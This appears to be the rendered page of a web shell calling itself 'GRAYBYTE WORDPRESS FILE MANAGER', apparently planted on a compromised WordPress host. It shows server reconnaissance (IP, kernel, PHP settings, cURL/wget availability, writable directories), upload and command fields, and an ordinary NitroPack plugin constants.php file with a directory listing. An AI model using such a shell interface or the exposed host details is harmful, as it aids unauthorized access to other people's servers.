GRAYBYTE WORDPRESS FILE MANAGER1583

Server IP : 162.213.255.40 / Your IP : 216.73.216.6
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/nitropack/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/nitropack//constants.php
<?php

defined( 'ABSPATH' ) or die( 'No script kiddies please!' );

use \NitroPack\SDK\Filesystem;

function nitropack_trailingslashit($string) {
    return rtrim( $string, '/\\' ) . '/';
}

define( 'NITROPACK_VERSION', '1.15.3' );
define( 'NITROPACK_OPTION_GROUP', 'nitropack' );
define( 'NITROPACK_SLUG', 'nitropack' );
define( 'NITROPACK_PLUGIN_DIR', nitropack_trailingslashit(dirname(__FILE__)));
define( 'NITROPACK_CLASSES_DIR', nitropack_trailingslashit(NITROPACK_PLUGIN_DIR . 'classes') );
define( 'NITROPACK_HEARTBEAT_INTERVAL', 60*5); // 5min
define( 'NITROPACK_NONCE', 'np_nonce_' . NITROPACK_VERSION);

if (!defined("NITROPACK_SUPPORT_BUBBLE_VISIBLE")) define("NITROPACK_SUPPORT_BUBBLE_VISIBLE", true);
if (!defined("NITROPACK_SUPPORT_BUBBLE_URL")) define("NITROPACK_SUPPORT_BUBBLE_URL", "https://support.nitropack.io/");

spl_autoload_register(function($class) {
    $filename = str_replace("\\", "/", $class) . ".php";
    $filename = str_replace("NitroPack/", "", $filename);
    $filepath = NITROPACK_CLASSES_DIR . ltrim($filename, "/");
    if (file_exists($filepath)) {
        require_once $filepath;
    }
});

if (!defined("NITROPACK_USE_REDIS")) define("NITROPACK_USE_REDIS", false); // Set this to true to enable storing cache in Redis
if (!defined("NITROPACK_REDIS_HOST")) define("NITROPACK_REDIS_HOST", "127.0.0.1"); // Set this to the IP of your Redis server
if (!defined("NITROPACK_REDIS_PORT")) define("NITROPACK_REDIS_PORT", 6379); // Set this to the port of your Redis server
if (!defined("NITROPACK_REDIS_PASS")) define("NITROPACK_REDIS_PASS", NULL); // Set this to the password of your redis server if authentication is needed
if (!defined("NITROPACK_REDIS_DB")) define("NITROPACK_REDIS_DB", NULL); // Set this to the number of the Redis DB if you'd like to not use the default one

if (!defined("NITROPACK_CACHE_DIR_NAME")) define("NITROPACK_CACHE_DIR_NAME", substr(md5(__FILE__), 0, 7) . "-nitropack"); // IMPORTANT: If you are changing the pattern make sure to add it to the $oldNitroDirs array in NitroPack::getDataDir()

define( 'NITROPACK_DATA_DIR', NitroPack\WordPress\NitroPack::getDataDir() );
define( 'NITROPACK_PLUGIN_DATA_DIR', NitroPack\WordPress\NitroPack::getPluginDataDir() );
define( 'NITROPACK_CONFIG_FILE', nitropack_trailingslashit(NITROPACK_PLUGIN_DATA_DIR) . 'config.json' );

if (Filesystem::fileExists(NITROPACK_CONFIG_FILE) && (NitroPack\WordPress\NitroPack::$nitroDirMigrated || NitroPack\WordPress\NitroPack::$nitroConfigMigrated)) {
	// Update the config_path according to the new location of the file.
	// Otherwise it will be ignored later and the plugin will appear disconnected.
	(new NitroPack\WordPress\Config())->updateConfigPath();
}

add_action( 'plugins_loaded', function() {
	define( 'NITROPACK_PLUGIN_DIR_URL', nitropack_trailingslashit( plugin_dir_url( __FILE__ ) ));
}, 1 );

if (!defined("NITROPACKIO_HOST")) {
	$nitropackIo = getenv("NITROPACKIO_HOST");
	if (!$nitropackIo) {
		$nitropackIo = "nitropack.io";
	}
	define("NITROPACKIO_HOST", $nitropackIo);
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
August 03 2025 17:44:22
hellrfbn / hellrfbn
0755
classes
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
languages
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
nitropack-sdk
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
view
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:27
hellrfbn / hellrfbn
0644
advanced-cache.php
3.026 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
batcache-compat.php
0.397 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
constants.php
2.96 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
diagnostics.php
9.808 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
functions.php
166.979 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
main.php
12.182 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
readme.txt
34.807 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
uninstall.php
0.98 KB
June 25 2024 18:18:45
hellrfbn / hellrfbn
0644
wp-cli.php
3.553 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF